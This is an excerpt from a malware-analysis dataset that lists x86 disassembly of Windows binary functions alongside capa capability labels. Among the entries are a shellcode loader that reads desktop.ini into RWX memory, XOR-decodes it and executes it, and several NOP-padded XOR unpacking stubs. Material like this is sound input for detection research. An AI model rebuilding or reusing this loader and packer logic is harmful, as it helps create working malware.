joyce8/EMBER2024-capa huggingface dataset:
Function at 0x101b6df0
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10219850
push 0x101c1ca0
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x20
push ebx
push esi
push edi
mov dword [ebp - 0x18], esp
xor ebx, ebx
mov dword [ebp - 0x20], ebx
lea eax, [ebp - 0x20]
push eax
mov edi, dword [ebp + 0x14]
push edi
mov ecx, dword [ebp + 0xc]
push ecx
mov edx, dword [ebp + 8]
push edx
call fcn.101b6570
add esp, 0x10
mov esi, eax
cmp esi, ebx
je 0x101b6ea3
mov eax, dword [esi]
push eax
mov eax, dword [ebp - 0x20]
push eax
call edi
add esp, 8
mov dword [ebp - 0x24], eax
mov edi, dword [ebp + 0x10]
sub edi, dword [ebp - 0x20]
mov dword [ebp - 4], ebx
mov dword [ebp - 0x30], ebx
lea ecx, [ebp - 0x30]
push ecx
push 0x40
push 4
push esi
mov ebx, dword [sym.imp.KERNEL32.dll_VirtualProtect]
call ebx
test eax, eax
je 0x101b6e9c
mov dword [esi], edi
lea edx, [ebp - 0x30]
push edx
mov eax, dword [ebp - 0x30]
push eax
push 4
push esi
call ebx
mov dword [ebp - 4], 0xffffffff
mov eax, dword [ebp - 0x24]
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
mov dword [ebp - 4], 0xffffffff
xor eax, eax
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x101b8110
Capabilities:
Get disk information

Disassembly:
mov eax, dword fs:[0]
push 0xffffffffffffffff
push 0x101e1170
push eax
mov dword fs:[0], esp
sub esp, 0x18
push ebx
push ebp
push esi
mov esi, dword [esp + 0x34]
push edi
push 0xffffffffffffffff
push 0
mov ecx, esi
call fcn.100d2020
mov edi, dword [esp + 0x3c]
push 0xffffffffffffffff
push 0
mov ecx, edi
call fcn.100d2020
call dword [sym.imp.KERNEL32.dll_GetTickCount]
mov ebx, eax
call dword [sym.imp.KERNEL32.dll_GetLogicalDrives]
mov ebp, eax
mov eax, dword [0x10270258]
test eax, eax
je 0x101b81c8
cmp ebp, eax
jne 0x101b81c8
mov eax, dword [0x1027025c]
test eax, eax
je 0x101b81c8
cmp ebx, eax
jb 0x101b81c8
add eax, 0x493e0
cmp eax, ebx
jb 0x101b81c8
mov ebp, dword [0x10270260]
push 1
inc ebp
push 0x10270178
lea ecx, [esp + 0x18]
mov dword [0x10270260], ebp
call fcn.100da930
push 0x102701a8
mov ecx, esi
mov dword [esp + 0x34], 0
call fcn.100d2200
push 0x10270198
mov ecx, edi
call fcn.100d2200
mov dword [esp + 0x30], 0xffffffff
lea ecx, [esp + 0x10]
jmp 0x101b823e
push edi
push esi
mov dword [0x10270260], 0
call fcn.101b8540
add esp, 8
lea ecx, [esp + 0x1c]
push 1
push 0x10270178
call fcn.100da930
push 0xffffffffffffffff
push 0
mov ecx, 0x102701a8
mov dword [esp + 0x38], 1
mov dword [0x10270258], ebp
mov dword [0x1027025c], ebx
call fcn.100d2020
push esi
mov ecx, 0x102701a8
call fcn.100d2200
push 0xffffffffffffffff
push 0
mov ecx, 0x10270198
call fcn.100d2020
push edi
mov ecx, 0x10270198
call fcn.100d2200
mov dword [esp + 0x30], 0xffffffff
lea ecx, [esp + 0x1c]
call fcn.100da990
mov ecx, dword [esp + 0x28]
pop edi
pop esi
pop ebp
mov eax, 1
pop ebx
mov dword fs:[0], ecx
add esp, 0x24
ret
Function at 0x101b8540
Capabilities:
Get disk information

Disassembly:
push 0xffffffffffffffff
push 0x101e11d6
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x224
push ebx
push ebp
push esi
mov esi, dword [esp + 0x240]
push edi
xor ebx, ebx
push 0xffffffffffffffff
push ebx
mov ecx, esi
call fcn.100d2020
mov ebp, dword [esp + 0x248]
push 0xffffffffffffffff
push ebx
mov ecx, ebp
call fcn.100d2020
call dword [sym.imp.KERNEL32.dll_GetLogicalDrives]
mov dword [esp + 0x28], eax
xor eax, eax
mov dword [esp + 0x10], 1
mov dword [esp + 0x20], eax
mov ecx, dword [esp + 0x28]
mov edx, dword [esp + 0x10]
test ecx, edx
je 0x101b8679
mov edx, dword [0x10257500]
mov cx, word [0x10257504]
mov dword [esp + 0x18], edx
add word [esp + 0x18], ax
lea edx, [esp + 0x18]
mov word [esp + 0x1c], cx
push edx
lea ecx, [esp + 0x28]
mov word [esp + 0x22], bx
call fcn.100cbee0
mov eax, dword [esi + 4]
lea ecx, [esp + 0x24]
push ecx
push eax
mov ecx, esi
mov dword [esp + 0x244], ebx
call fcn.100d25c0
mov edx, dword [0x1020db10]
mov dword [esp + 0x14], edx
mov ecx, 0x81
xor eax, eax
lea edi, [esp + 0x2e]
mov word [esp + 0x2c], bx
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
lea eax, [esp + 0x2c]
push 0x104
lea ecx, [esp + 0x1c]
push eax
push ecx
mov byte [esp + 0x248], 1
call dword [sym.imp.KERNEL32.dll_QueryDosDeviceW]
lea edx, [esp + 0x2c]
lea ecx, [esp + 0x14]
push edx
mov word [esp + 0x236], bx
call fcn.100cc900
mov eax, dword [ebp + 4]
lea ecx, [esp + 0x14]
push ecx
push eax
mov ecx, ebp
call fcn.100d25c0
lea ecx, [esp + 0x14]
mov byte [esp + 0x23c], bl
call fcn.100cc680
lea ecx, [esp + 0x24]
mov dword [esp + 0x23c], 0xffffffff
call fcn.100cc680
mov eax, dword [esp + 0x20]
mov edx, dword [esp + 0x10]
inc eax
shl edx, 1
cmp eax, 0x1a
mov dword [esp + 0x20], eax
mov dword [esp + 0x10], edx
jb 0x101b859b
mov ecx, dword [esp + 0x234]
pop edi
pop esi
pop ebp
mov eax, 1
pop ebx
mov dword fs:[0], ecx
add esp, 0x230
ret
Function at 0x101c9082
Capabilities:
Get file size
Read file on windows

Disassembly:
push ebx
push ebp
push esi
mov esi, ecx
xor ebx, ebx
push edi
lea ebp, [esi + 0x42c]
lea edi, [esi + 0x2c]
mov ecx, 0x100
xor eax, eax
push ebx
mov dword [esi], ebx
mov dword [esi + 4], 0xffffffff
mov dword [esi + 0x1c], ebx
mov dword [esi + 0x20], ebx
mov dword [esi + 0x24], ebx
mov dword [esi + 0x28], ebx
mov dword [ebp], ebx
push 0x80
push 3
rep stosd dword es:[edi], eax
mov eax, dword [esp + 0x20]
push ebx
lea edi, [esi + 0xc]
push 7
push SysReAllocStringLen
push eax
mov dword [esi + 8], ebx
mov dword [edi], ebx
mov dword [esi + 0x10], ebx
mov dword [esi + 0x14], ebx
mov dword [esi + 0x18], 1
call dword [sym.imp.KERNEL32.dll_CreateFileA]
cmp eax, 0xffffffff
mov dword [esi + 4], eax
je 0x101c9112
cmp eax, ebx
je 0x101c9112
push edi
push eax
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov ecx, dword [esi + 4]
mov dword [esi + 8], eax
push ebx
push ebp
lea eax, [esi + 0x2c]
push 0x400
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
jne 0x101c911a
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [esi], eax
mov eax, esi
pop edi
pop esi
pop ebp
pop ebx
ret 4
Function at 0x101c92c5
Capabilities:
Read file on windows

Disassembly:
sub esp, 0x10
push ebx
push ebp
push esi
mov esi, ecx
push edi
mov eax, dword [esi + 4]
cmp eax, 0xffffffff
je 0x101c9417
xor edx, edx
cmp eax, edx
je 0x101c9417
mov ebx, dword [esp + 0x24]
mov ecx, dword [esp + 0x28]
mov dword [esp + 0x14], edx
lea eax, [ebx + ecx]
cmp eax, ebx
jb 0x101c92fa
cmp eax, ecx
jb 0x101c92fa
xor ecx, ecx
jmp 0x101c92ff
mov ecx, 1
mov edi, dword [esi + 0xc]
mov dword [esp + 0x14], ecx
cmp ecx, edi
jl 0x101c9319
jg 0x101c9417
cmp eax, dword [esi + 8]
ja 0x101c9417
cmp ecx, edx
jne 0x101c9333
cmp eax, dword [esi + 0x42c]
ja 0x101c9333
lea eax, [ebx + esi + 0x2c]
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x10
ret 8
mov ebp, dword [esi + 0x1c]
cmp ebp, edx
je 0x101c9378
mov ecx, dword [esi + 0x28]
mov dword [esp + 0x1c], edx
mov edx, dword [esi + 0x24]
lea edi, [edx + ecx]
cmp edi, ecx
jb 0x101c9353
cmp edi, edx
jb 0x101c9353
xor edx, edx
jmp 0x101c9358
mov edx, 1
cmp ecx, ebx
ja 0x101c9378
cmp dword [esp + 0x14], edx
jg 0x101c9378
jl 0x101c9368
cmp eax, edi
ja 0x101c9378
mov eax, ebp
pop edi
sub eax, ecx
pop esi
add eax, ebx
pop ebp
pop ebx
add esp, 0x10
ret 8
mov eax, dword [esp + 0x28]
mov ecx, esi
push eax
call fcn.101c9430
test eax, eax
je 0x101c9417
cmp ebx, 0x7fffffff
push 0
push 0
jbe 0x101c93c6
mov ecx, dword [esi + 4]
mov edi, dword [sym.imp.KERNEL32.dll_SetFilePointer]
push SysReAllocString
push ecx
call edi
cmp eax, 0xffffffff
je 0x101c9407
mov eax, dword [esi + 4]
push 1
lea edx, [ebx - 0x7fffffff]
push 0
push edx
push eax
call edi
cmp eax, 0xffffffff
je 0x101c9407
jmp 0x101c93d6
mov ecx, dword [esi + 4]
push ebx
push ecx
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
cmp eax, 0xffffffff
je 0x101c9407
mov ebp, dword [esp + 0x28]
mov edx, dword [esi + 0x1c]
mov eax, dword [esi + 4]
lea edi, [esi + 0x24]
push 0
push edi
push ebp
push edx
push eax
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x101c9407
cmp dword [edi], ebp
jne 0x101c9407
mov eax, dword [esi + 0x1c]
mov dword [esi + 0x28], ebx
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x10
ret 8
xor eax, eax
mov dword [esi + 0x24], eax
mov dword [esi + 0x28], eax
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [esi], eax
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x10
ret 8
Function at 0x101c96e0
Capabilities:
Encode data using base64

Disassembly:
push ebp
push edi
mov edi, dword [esp + 0x14]
xor ebp, ebp
test edi, edi
jle 0x101c97c6
mov ecx, dword [esp + 0xc]
push ebx
push esi
mov esi, dword [esp + 0x18]
cmp edi, 3
jl 0x101c9753
xor edx, edx
xor eax, eax
mov dh, byte [esi]
mov al, byte [esi + 2]
mov dl, byte [esi + 1]
shl edx, 8
or edx, eax
mov eax, edx
shr eax, 0x12
and eax, 0x3f
inc ecx
mov al, byte [eax + str.ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_]
mov byte [ecx - 1], al
mov eax, edx
shr eax, 0xc
and eax, 0x3f
inc ecx
mov al, byte [eax + str.ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_]
mov byte [ecx - 1], al
mov eax, edx
shr eax, 6
and eax, 0x3f
inc ecx
and edx, 0x3f
mov al, byte [eax + str.ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_]
mov byte [ecx - 1], al
mov dl, byte [edx + str.ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_]
mov byte [ecx], dl
jmp 0x101c97aa
xor edx, edx
mov dl, byte [esi]
shl edx, 0x10
cmp edi, 2
jne 0x101c9766
xor eax, eax
mov ah, byte [esi + 1]
or edx, eax
mov eax, edx
shr eax, 0x12
and eax, 0x3f
inc ecx
mov al, byte [eax + str.ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_]
mov byte [ecx - 1], al
mov eax, edx
shr eax, 0xc
and eax, 0x3f
inc ecx
cmp edi, 1
mov al, byte [eax + str.ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_]
mov byte [ecx - 1], al
jne 0x101c9796
mov ebx, 0x3d
jmp 0x101c97a4
shr edx, 6
and edx, 0x3f
xor ebx, ebx
mov bl, byte [edx + str.ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_]
mov byte [ecx], bl
inc ecx
mov byte [ecx], 0x3d
sub edi, 3
inc ecx
add ebp, 4
add esi, 3
test edi, edi
jg 0x101c96fa
pop esi
pop ebx
mov eax, ebp
pop edi
mov byte [ecx], 0
pop ebp
ret
mov ecx, dword [esp + 0xc]
mov eax, ebp
pop edi
pop ebp
mov byte [ecx], 0
ret
Function at 0x42e000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
nop
mov eax, section..text
nop
mov ebx, 0x407ef8
nop
mov ecx, 0x3df46fe7
test eax, eax
nop
nop
nop
nop
nop
nop
je 0x42e04e
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
inc eax
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
jne 0x42e024
nop
nop
nop
nop
mov eax, section..data
nop
mov ebx, 0x42cd70
nop
nop
mov ecx, 0x26936113
nop
nop
nop
nop
test eax, eax
nop
je 0x42e084
nop
nop
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
add eax, 4
nop
nop
nop
cmp eax, ebx
nop
nop
nop
jne 0x42e06c
nop
nop
nop
nop
nop
nop
popal
nop
jmp 0x401219

Function at 0x1000114e
Capabilities:
Allocate or change rwx memory
Create process on windows
Execute shellcode via indirect call
Read file on windows

Disassembly:
push ebx
push esi
mov ebx, 0x10003028
xor esi, esi
push edi
cmp ebx, 0x10002034
jne 0x1000116a
push esi
push esi
push esi
push esi
call dword [sym.imp.USER32.dll_MessageBoxA]
xor eax, eax
mov word [0x1000302e], ax
movzx ecx, word [eax + 0x10002038]
mov word [eax + 0x10003028], cx
add eax, 2
cmp cx, si
jne 0x10001172
push 1
push esi
push esi
push ebx
push esi
push esi
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
xor eax, eax
mov word [0x1000302e], ax
movzx ecx, word [eax + 0x1000203c]
mov word [eax + 0x10003028], cx
add eax, 2
cmp cx, si
jne 0x1000119d
push 0x40
mov eax, 0x1000
push eax
push eax
push esi
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [0x10003018], eax
lea edi, [ebx - 2]
mov ax, word [edi + 2]
add edi, 2
cmp ax, si
jne 0x100011cb
push 5
pop ecx
mov esi, str.sktop.ini
rep movsd dword es:[edi], dword [esi]
xor esi, esi
push esi
push 0x80
push 3
push esi
push 1
push 0x80000000
push ebx
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [0x1000301c], eax
cmp eax, 0xffffffff
je 0x10001222
push esi
push 0x10003020
push 0x1000
push dword [0x10003018]
push eax
call dword [sym.imp.KERNEL32.dll_ReadFile]
call dword [0x10003018]
pop edi
pop esi
pop ebx
ret 0x10
Function at 0x1000114e
Capabilities:
Allocate or change rwx memory
Encode data using xor
Execute shellcode via indirect call
Read file on windows

Disassembly:
push esi
push edi
push str.ShellExecuteW
push str.shell32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 1
xor edi, edi
push edi
push edi
push 0x10002054
push str.open
push edi
call eax
push 0x40
mov esi, 0x1000
push esi
push esi
push edi
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push edi
push 0x80
push 3
push edi
push 1
push 0x80000000
push str.desktop.ini
mov dword [0x10003228], eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [0x1000322c], eax
cmp eax, 0xffffffff
je 0x100011f3
push edi
push 0x10003230
push esi
push dword [0x10003228]
push eax
call dword [sym.imp.KERNEL32.dll_ReadFile]
mov eax, dword [0x10003228]
movzx ecx, byte [eax]
xor ecx, 0x4e
xor esi, esi
cmp dword [0x10003230], edi
jbe 0x100011f1
mov dl, byte [eax + esi]
xor dl, cl
add dl, 0x42
mov byte [eax + esi], dl
inc esi
cmp esi, dword [0x10003230]
jb 0x100011dd
call eax
pop edi
pop esi
ret 0x10

Function at 0x42e000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
nop
mov eax, section..text
nop
mov ebx, 0x407ef8
nop
mov ecx, 0x1b771a63
nop
nop
nop
nop
test eax, eax
nop
je 0x42e04e
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
inc eax
nop
inc eax
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
nop
nop
jne 0x42e024
nop
nop
mov eax, str.AnV
nop
nop
mov ebx, 0x42cd70
nop
mov ecx, 0x6e012bce
nop
nop
nop
nop
test eax, eax
je 0x42e084
nop
nop
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
add eax, 4
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
nop
nop
nop
jne 0x42e06c
nop
nop
nop
popal
nop
nop
jmp 0x401219
Function at 0x40fa70
Capabilities:
Encode data using xor

Disassembly:
sub esp, 8
mov eax, dword [esp + 0xc]
push ebx
xor ebx, ebx
push ebp
mov ebp, dword [esp + 0x1c]
add eax, 8
push esi
push edi
mov dword [esp + 0x14], ebx
mov dword [esp + 0x10], eax
mov edx, dword [esp + 0x1c]
mov ecx, dword [esp + 0x10]
xor eax, eax
mov al, byte [ebx + edx]
mov esi, dword [ecx]
dec eax
cmp eax, 7
ja case.0x40faa1.3
jmp dword [eax*4 + 0x40fb38]
mov eax, dword [esp + 0x20]
cmp ebp, 3
jbe case.0x40faa1.3
mov ecx, ebp
shr ecx, 2
mov edx, dword [eax]
add eax, 4
xor edx, esi
dec ecx
mov dword [eax - 4], edx
jne 0x40fab6
jmp case.0x40faa1.3
mov eax, dword [esp + 0x20]
cmp ebp, 3
jbe case.0x40faa1.3
mov ecx, ebp
shr ecx, 2
mov edx, dword [eax]
add eax, 4
xor edx, esi
dec ecx
mov dword [eax - 4], edx
mov esi, edx
jne 0x40fad3
jmp case.0x40faa1.3
mov edi, dword [esp + 0x20]
cmp ebp, 3
jbe case.0x40faa1.3
mov ebx, ebp
shr ebx, 2
push esi
push edi
call fcn.0040fc50
add esp, 8
add edi, 4
dec ebx
jne 0x40faf2
mov ebx, dword [esp + 0x14]
jmp case.0x40faa1.3
mov eax, dword [esp + 0x20]
push esi
push ebp
push eax
call fcn.0040fcf0
add esp, 0xc
mov ecx, dword [esp + 0x10]
inc ebx
add ecx, 4
cmp ebx, 8
mov dword [esp + 0x14], ebx
mov dword [esp + 0x10], ecx
jl 0x40fa8c
pop edi
pop esi
pop ebp
pop ebx
add esp, 8
ret

Function at 0x40fb60
Capabilities:
Encode data using xor

Disassembly:
sub esp, 8
mov eax, dword [esp + 0xc]
push ebx
push ebp
mov ebp, dword [esp + 0x1c]
mov ebx, 7
add eax, 0x24
push esi
push edi
mov dword [esp + 0x14], ebx
mov dword [esp + 0x10], eax
mov edx, dword [esp + 0x1c]
mov ecx, dword [esp + 0x10]
xor eax, eax
mov al, byte [ebx + edx]
mov esi, dword [ecx]
dec eax
cmp eax, 7
ja case.0x40fb94.3
jmp dword [eax*4 + 0x40fc2c]
mov eax, dword [esp + 0x20]
cmp ebp, 3
jbe case.0x40fb94.3
mov ecx, ebp
shr ecx, 2
mov edx, dword [eax]
add eax, 4
xor edx, esi
dec ecx
mov dword [eax - 4], edx
jne 0x40fba9
jmp case.0x40fb94.3
mov eax, dword [esp + 0x20]
cmp ebp, 3
jbe case.0x40fb94.3
mov edx, ebp
shr edx, 2
mov ecx, dword [eax]
add eax, 4
mov edi, ecx
xor edi, esi
dec edx
mov dword [eax - 4], edi
mov esi, ecx
jne 0x40fbc6
jmp case.0x40fb94.3
mov edi, dword [esp + 0x20]
cmp ebp, 3
jbe case.0x40fb94.3
mov ebx, ebp
shr ebx, 2
push esi
push edi
call fcn.0040fca0
add esp, 8
add edi, 4
dec ebx
jne 0x40fbe7
mov ebx, dword [esp + 0x14]
jmp case.0x40fb94.3
mov eax, dword [esp + 0x20]
push esi
push ebp
push eax
call fcn.0040fd70
add esp, 0xc
mov ecx, dword [esp + 0x10]
dec ebx
sub ecx, 4
mov dword [esp + 0x14], ebx
test ebx, ebx
mov dword [esp + 0x10], ecx
jge 0x40fb7f
pop edi
pop esi
pop ebp
pop ebx
add esp, 8
ret
Function at 0x43bf80
Capabilities:
Encode data using xor
Generate random numbers using a mersenne twister

Disassembly:
mov eax, dword [esp + 8]
push esi
mov esi, dword [esp + 8]
push edi
mov ecx, 1
mov dword [esi], eax
lea edx, [esi + 4]
mov edi, eax
add edx, 4
shr edi, 0x1e
xor edi, eax
imul edi, edi, 0x6c078965
add edi, ecx
inc ecx
mov eax, edi
cmp ecx, 0x270
mov dword [edx - 4], eax
jb 0x43bf94
xor eax, eax
mov dword [esi + 0x9c4], 1
mov dword [esi + 0x9c0], eax
mov dword [esi + 0x9c8], eax
mov dword [esi + 0x9d4], eax
pop edi
pop esi
ret

Function at 0x43bfe0
Capabilities:
Encode data using xor
Generate random numbers using a mersenne twister

Disassembly:
push esi
mov esi, dword [esp + 8]
mov eax, dword [esi + 0x9c0]
test eax, eax
jne 0x43c0c5
cmp dword [esi + 0x9c4], 1
je 0x43c020
cmp esi, 0x45afa8
jne 0x43c00b
push 0x1571
jmp 0x43c017
mov eax, dword [0x457144]
inc eax
mov dword [0x457144], eax
push eax
push esi
call fcn.0043bf80
add esp, 8
push edi
mov ecx, esi
mov edi, 0xe3
mov edx, dword [ecx]
mov eax, dword [ecx + 4]
xor eax, edx
add ecx, 4
and eax, 0x7fffffff
xor eax, edx
mov edx, eax
and edx, 1
shr eax, 1
mov edx, dword [edx*4 + 0x457148]
xor edx, eax
mov eax, dword [ecx + 0x630]
xor edx, eax
dec edi
mov dword [ecx - 4], edx
jne 0x43c028
lea ecx, [esi + 0x38c]
mov edi, 0x18c
mov edx, dword [ecx]
mov eax, dword [ecx + 4]
xor eax, edx
add ecx, 4
and eax, 0x7fffffff
xor eax, edx
mov edx, eax
and edx, 1
shr eax, 1
mov edx, dword [edx*4 + 0x457148]
xor edx, eax
mov eax, dword [ecx - 0x390]
xor edx, eax
dec edi
mov dword [ecx - 4], edx
jne 0x43c062
mov ecx, dword [esi + 0x9bc]
mov edi, dword [esi]
mov eax, ecx
xor eax, edi
pop edi
and eax, 0x7fffffff
xor eax, ecx
mov ecx, eax
and ecx, 1
shr eax, 1
mov edx, dword [ecx*4 + 0x457148]
mov ecx, dword [esi + 0x630]
xor edx, ecx
xor edx, eax
xor eax, eax
mov dword [esi + 0x9bc], edx
mov ecx, dword [esi + eax*4]
cmp eax, 0x26f
jne 0x43c0d3
xor eax, eax
jmp 0x43c0d4
inc eax
mov dword [esi + 0x9c0], eax
mov eax, ecx
shr eax, 0xb
xor ecx, eax
pop esi
mov edx, ecx
and edx, 0xff3a58ad
shl edx, 7
xor ecx, edx
mov eax, ecx
and eax, 0xffffdf8c
shl eax, 0xf
xor ecx, eax
mov eax, ecx
shr eax, 0x12
xor eax, ecx
ret
Function at 0x1001a54c
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffe0
push ebx
push esi
mov ebx, dword [ebp + 0x10]
test ebx, ebx
js 0x1001a565
shr ebx, 2
mov esi, dword [ecx + ebx*4]
dec ebx
push esi
jns 0x1001a55e
mov ecx, esp
mov ebx, edx
test ebx, ebx
js 0x1001a577
shr ebx, 2
mov esi, dword [eax + ebx*4]
dec ebx
push esi
jns 0x1001a570
mov eax, esp
mov dword [ebp - 0xc], ecx
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
push 5
lea ecx, [ebp - 0x12]
mov eax, dword [ebp - 4]
mov edx, dword [ebp - 8]
call fcn.1001a08c
xor eax, eax
mov dword [ebp - 0x20], eax
mov eax, dword [ebp - 0xc]
mov edx, dword [ebp - 0x20]
mov al, byte [eax + edx]
mov edx, dword [ebp - 0x20]
xor byte [ebp + edx - 0x12], al
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], 6
jne 0x1001a597
xor eax, eax
mov al, byte [ebp - 0x12]
shr eax, 2
mov byte [ebp - 0x1a], al
mov al, byte [ebp - 0x12]
and al, 3
shl eax, 4
xor edx, edx
mov dl, byte [ebp - 0x11]
shr edx, 4
or al, dl
mov byte [ebp - 0x19], al
mov al, byte [ebp - 0x11]
and al, 0xf
shl eax, 2
xor edx, edx
mov dl, byte [ebp - 0x10]
shr edx, 6
or al, dl
mov byte [ebp - 0x18], al
mov al, byte [ebp - 0x10]
and al, 0x3f
mov byte [ebp - 0x17], al
xor eax, eax
mov al, byte [ebp - 0xf]
shr eax, 2
mov byte [ebp - 0x16], al
mov al, byte [ebp - 0xf]
and al, 3
shl eax, 4
xor edx, edx
mov dl, byte [ebp - 0xe]
shr edx, 4
or al, dl
mov byte [ebp - 0x15], al
mov al, byte [ebp - 0xe]
Function at 0x1001a730
Capabilities:
Encode data using xor

Disassembly:
xor eax, eax
mov dword [ebp - 0x10], eax
mov eax, dword [ebp + 0xc]
mov edx, dword [ebp - 0x10]
mov al, byte [eax + edx]
mov edx, dword [ebp - 0x10]
mov byte [ebp + edx - 0x14], al
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], 4
jne 0x1001a712
xor eax, eax
mov dword [ebp - 0x10], eax
mov eax, dword [ebp + 0xc]
mov edx, dword [ebp - 0x10]
mov al, byte [eax + edx + 4]
mov edx, dword [ebp + 0xc]
mov ecx, dword [ebp - 0x10]
mov byte [edx + ecx], al
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], 4
jne fcn.1001a730
push 5
lea eax, [ebp - 0x18]
push eax
push 3
mov eax, dword [ebp - 0xc]
lea eax, [eax + eax*2]
lea ecx, [eax*2 + 0x451fc4]
mov eax, dword [ebp + 0xc]
mov edx, dword [ebp + 8]
call fcn.1001a54c
xor eax, eax
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 0x10]
mov al, byte [ebp + eax - 0x14]
mov edx, dword [ebp - 0x10]
xor al, byte [ebp + edx - 0x18]
mov edx, dword [ebp + 0xc]
mov ecx, dword [ebp - 0x10]
mov byte [edx + ecx + 4], al
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], 4
jne 0x1001a771
inc dword [ebp - 0xc]
cmp dword [ebp - 0xc], 0x10
jne 0x1001a70d
xor eax, eax
mov dword [ebp - 0x10], eax
mov eax, dword [ebp + 0xc]
mov edx, dword [ebp - 0x10]
mov al, byte [eax + edx + 4]
mov edx, dword [ebp - 0x10]
mov byte [ebp + edx - 0x14], al
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], 4
jne 0x1001a7a4
xor eax, eax
mov dword [ebp - 0x10], eax
mov eax, dword [ebp + 0xc]
mov edx, dword [ebp - 0x10]
mov al, byte [eax + edx]
mov edx, dword [ebp + 0xc]
mov ecx, dword [ebp - 0x10]
mov byte [edx + ecx + 4], al
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], 4
jne 0x1001a7c3
xor eax, eax
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 0x10]
mov al, byte [ebp + eax - 0x14]
mov edx, dword [ebp + 0xc]
mov ecx, dword [ebp - 0x10]
mov byte [edx + ecx], al
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], 4
jne 0x1001a7e4
jmp 0x1001a903
mov eax, dword [ebp + 0xc]
mov edx, dword [ebp + 8]
call fcn.10019ff0
mov esi, dword [ebp - 0x24]
mov ebx, dword [ebp - 0x20]
mov esp, ebp
pop ebp
ret 8